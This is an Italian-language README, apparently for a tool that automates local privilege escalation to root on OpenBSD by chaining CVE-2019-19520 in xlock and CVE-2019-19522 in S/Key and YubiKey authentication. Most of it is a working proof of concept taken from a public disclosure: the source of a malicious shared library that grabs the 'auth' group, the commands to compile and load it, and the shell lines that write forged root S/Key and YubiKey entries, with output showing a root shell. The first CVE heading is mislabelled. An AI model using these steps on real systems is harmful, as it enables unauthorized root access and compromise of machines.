Openbsd-Privilege-Escalation

Uno script che automatizza il processo di escalation dei privilegi su sistemi openbsd (CVE-2019-19520) sfruttando il binario xlock e ottenendo il suo sgid, per poi escalare all'utente root tramite (CVE-2019-19522) sfruttando i privilegi del gruppo auth e aggiungendo chiavi a Skey o Yubikey

Il codice C è praticamente una copia del PoC originale da: https://www.openwall.com/lists/oss-security/2019/12/04/5

CVE-2019-19522: Escalation locale dei privilegi tramite S/Key e YubiKey

Su OpenBSD, /usr/X11R6/bin/xlock è installato di default ed è set-group-ID "auth", non set-user-ID; il seguente controllo è quindi incompleto e dovrebbe usare issetugid() invece:

101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

Un attaccante locale può sfruttare questa vulnerabilità e usare dlopen() sul proprio driver per ottenere i privilegi del gruppo "auth":

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

Ora che abbiamo ottenuto i privilegi del gruppo auth, possiamo sfruttarli aggiungendo le nostre chiavi di root a Skey o Yubikey

CVE-2019-19522: Escalation locale dei privilegi tramite S/Key e YubiKey

Se il tipo di autenticazione S/Key o YubiKey è abilitato (entrambi sono installati di default ma disabilitati), un attaccante locale può sfruttare i privilegi del gruppo "auth" per ottenere i pieni privilegi dell'utente "root" (poiché login_skey e login_yubikey non verificano che i file in /etc/skey e /var/db/yubikey appartengano all'utente corretto, e queste directory sono entrambe scrivibili dal gruppo "auth").

(Nota: per ottenere i privilegi del gruppo "auth", un attaccante locale può prima sfruttare CVE-2019-19520 in xlock.)

Se S/Key è abilitato (tramite skeyinit -E), un attaccante locale con privilegi "auth" può aggiungere una voce S/Key (un file in /etc/skey) per l'utente "root" (se questo file esiste già, l'attaccante non può semplicemente rimuoverlo o rinominarlo, perché /etc/skey è sticky; esiste una semplice soluzione alternativa, lasciata come esercizio al lettore interessato):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

Se YubiKey è abilitato (tramite login.conf), un attaccante locale con privilegi "auth" può aggiungere una voce YubiKey (due file in /var/db/yubikey) per l'utente "root" (se questi file esistono già, l'attaccante può semplicemente rimuoverli o rinominarli, perché /var/db/yubikey non è sticky):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...